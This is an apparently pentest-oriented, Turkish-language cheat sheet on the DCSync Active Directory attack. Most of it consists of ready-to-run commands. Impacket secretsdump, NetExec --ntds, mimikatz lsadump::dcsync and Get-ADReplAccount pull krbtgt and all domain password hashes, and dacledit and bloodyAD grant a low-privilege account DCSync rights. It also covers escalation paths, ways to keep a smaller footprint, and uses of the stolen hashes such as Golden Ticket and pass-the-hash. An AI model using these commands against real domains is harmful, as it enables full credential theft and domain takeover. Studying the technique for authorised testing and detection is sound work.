Skip to content

DCSync

MITRE ATT&CK · T1003.006 phase: credential access impact: tüm hash'ler

MITRE ATT&CK · T1003.006 phase: credential access impact: tüm hash’ler

DCSync, bir Domain Controller’ı taklit ederek MS-DRSR replikasyon protokolü (DRSGetNCChanges) üzerinden herhangi bir hesabın parola hash’lerini DC’den ister. Böylece lsass dökümü veya NTDS.dit kopyası almadan, ağ üzerinden krbtgt dahil tüm kimlik bilgileri çekilebilir. Domain dominasyonunun en temiz “credential dump” yoludur.

Saldırganın güvenlik principal’ı domain nesnesinde şu extended rights’a sahip olmalıdır:

HakGUID / anlam
DS-Replication-Get-ChangesTemel replikasyon
DS-Replication-Get-Changes-AllSecret’lar dahil (hash)
(opsiyonel) Get-Changes-In-Filtered-SetBazı senaryolar

Varsayılan sahipler: Domain Controllers, Enterprise Domain Controllers, Domain Admins, Enterprise Admins, Administrators. Ayrıca yanlış ACL ile normal kullanıcıya verilmiş olabilir — ACL Abuse.

BloodHound kenarları: DCSync, GetChanges, GetChangesAll (ikisi birden gerekir).

Terminal window
impacket-dacledit -action read -principal 'lowpriv' \
-target-dn 'DC=domain,DC=local' domain.local/lowpriv:'Pass'
Terminal window
nxc ldap DC -u user -p pass -M daclread -o TARGET=DC=domain,DC=local ACTION=read

DCSync · secretsdump

embedded tool
Generated command
impacket-secretsdump domain.local/administrator@10.10.10.5 -just-dc
  1. Tek hesabı çek (örn. krbtgt / Administrator) :

    Terminal window
    impacket-secretsdump -just-dc-user krbtgt \
    domain.local/user:'Pass123'@10.10.10.5
    Terminal window
    impacket-secretsdump -just-dc-user Administrator \
    domain.local/user:'Pass123'@10.10.10.5
  2. Tüm domain hash’lerini çek :

    Terminal window
    impacket-secretsdump -just-dc domain.local/user:'Pass123'@10.10.10.5
    Terminal window
    impacket-secretsdump -just-dc-ntlm domain.local/user:'Pass123'@10.10.10.5
    Terminal window
    impacket-secretsdump -just-dc domain.local/user:'Pass123'@DC -outputfile domain_dump
  3. Pass-the-Hash / Kerberos ile :

    Terminal window
    impacket-secretsdump -just-dc -hashes :NTHASH domain.local/user@10.10.10.5
    Terminal window
    export KRB5CCNAME=admin.ccache
    Terminal window
    impacket-secretsdump -k -no-pass -just-dc domain.local/Administrator@dc01.domain.local
Terminal window
nxc smb 10.10.10.5 -u user -p 'Pass123' --ntds
Terminal window
nxc smb 10.10.10.5 -u user -H :NTHASH --ntds --user krbtgt
Terminal window
nxc smb 10.10.10.5 -u user -p 'Pass123' --ntds drsuapi
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt
mimikatz # lsadump::dcsync /domain:domain.local /user:Administrator
mimikatz # lsadump::dcsync /domain:domain.local /all /csv
Terminal window
Get-ADReplAccount -All -Server dc01.domain.local

DCSync hakkı nasıl kazanılır? (yol örnekleri)

Section titled “DCSync hakkı nasıl kazanılır? (yol örnekleri)”
1) Zaten DA / EA / Admin
2) WriteDacl on domain object → dacledit DCSync → secretsdump
3) GenericAll on domain / AdminSDHolder → aynı
4) Unconstrained + coerce DC$ → DC$ ile DCSync (makine hesabı hakları)
5) ESC1/ESC8 → Administrator / DC$ cert → auth → DCSync
6) RBCD / Shadow on DC$ → SYSTEM eşdeğeri → DCSync
Terminal window
impacket-dacledit -action write -rights DCSync -principal evil \
-target-dn 'DC=domain,DC=local' domain.local/evil:'Pass'
Terminal window
bloodyAD -u evil -p 'Pass' -d domain.local --host DC add dcsync evil
krbtgt NT/AES → Golden Ticket
Administrator NT → PtH tüm DC/admin share
*machine$ NT → Silver Ticket (cifs/host)
tüm kullanıcılar → PTH spray / crack (NTLM) / password reuse

Ayrıca NTDS Extraction ile aynı sonuç VSS yoluyla da alınır; DCSync dosya kopyalamaz.

  • -just-dc-user krbtgt tam dump’tan çok daha az veri ve daha dar iz.
  • Tam -just-dc binlerce hesap → büyük replikasyon olayı; angajmanda gerekçe net olsun.
  • DRSUAPI, DC’de Directory Service erişim log’ları üretebilir (4662).
  • Aynı hakla tekrar tekrar çekmek yerine hash’leri güvenli sakla.
  • Kerberos ( -k ) + AES Golden sonrası dönüşler için DCSync’i bir kez yapıp bitir.
  • Sadece GetChanges var, GetChangesAll yok → secret gelmez.
  • LDAP signing / firewall 135 + dynamic RPC portları kapalı → bağlanamaz.
  • IP ile Kerberos DCSync → SPN hatası; FQDN kullan.
  • “DA değilim” sanısı — BloodHound’da dolaylı DCSync kenarını kaçırma.
  • secretsdump varsayılan olarak NTDS + SAM/LSA da deneyebilir; -just-dc ile sınırla.

Golden Ticket · Pass-the-Hash · NTDS Extraction · Persistence